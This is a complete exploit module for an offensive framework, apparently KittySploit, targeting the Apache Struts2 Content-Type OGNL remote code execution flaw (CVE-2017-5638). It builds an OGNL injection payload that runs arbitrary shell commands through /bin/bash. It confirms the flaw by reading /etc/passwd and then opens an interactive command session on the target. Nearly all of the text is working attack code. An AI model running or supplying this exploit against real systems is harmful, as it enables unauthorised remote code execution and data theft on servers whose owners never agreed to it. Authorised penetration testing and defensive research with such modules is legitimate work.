Apache Struts2 Content-Type OGNL RCE (CVE-2017-5638)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache Struts2 Jakarta multipart OGNL RCE (CVE-2017-5638)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Apache Struts2 Content-Type OGNL RCE (CVE-2017-5638)',
        'description': (
            'Exploits CVE-2017-5638 in Apache Struts 2.3.x/2.5.x via OGNL injection in the '
            'Content-Type header (Jakarta multipart parser). Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2017-5638'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2017-5638',
            'https://github.com/mazen160/struts-pwn',
        ],
        'tags': ['struts', 'apache', 'ognl', 'rce', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2017_5638_detect'],
            },
        },
    }

    target_path = OptString('/', 'HTTP path to trigger Struts action', required=False)

    def _ognl_payload(self, cmd: str) -> str:
        safe = str(cmd).replace('"', '\\"')
        return (
            '%{(#test=\'multipart/form-data\').'
            '(#[email protected]@DEFAULT_MEMBER_ACCESS).'
            '(#[email protected]@DEFAULT_MEMBER_ACCESS,'
            f'#cmd="{safe}",'
            '#cmds={"/bin/bash","-c",#cmd},'
            '#p=new java.lang.ProcessBuilder(#cmds),'
            '#p.redirectErrorStream(true),'
            '#process=#p.start(),'
            '#b=#process.getInputStream(),'
            '#c=new java.io.InputStreamReader(#b),'
            '#d=new java.io.BufferedReader(#c),'
            '#e=new char[50000],'
            '#d.read(#e),'
            '#[email protected]@getResponse().getWriter(),'
            '#rw.println(#e),'
            '#rw.flush())}'
        )

    def execute(self, cmd: str) -> str:
        path = str(self.target_path or '/').strip() or '/'
        r = self.http_request(
            method='GET',
            path=path,
            allow_redirects=False,
            headers={'Content-Type': self._ognl_payload(cmd)},
        )
        if not r:
            return ''
        return r.text or ''

    def check(self):
        body = self.execute('cat /etc/passwd')
        if re.search(r'root:.*:0:0:', body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2017-5638 confirmed via /etc/passwd in OGNL response',
                'confidence': 'high',
            }
        return {'vulnerable': False, 'reason': 'No command output in response', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()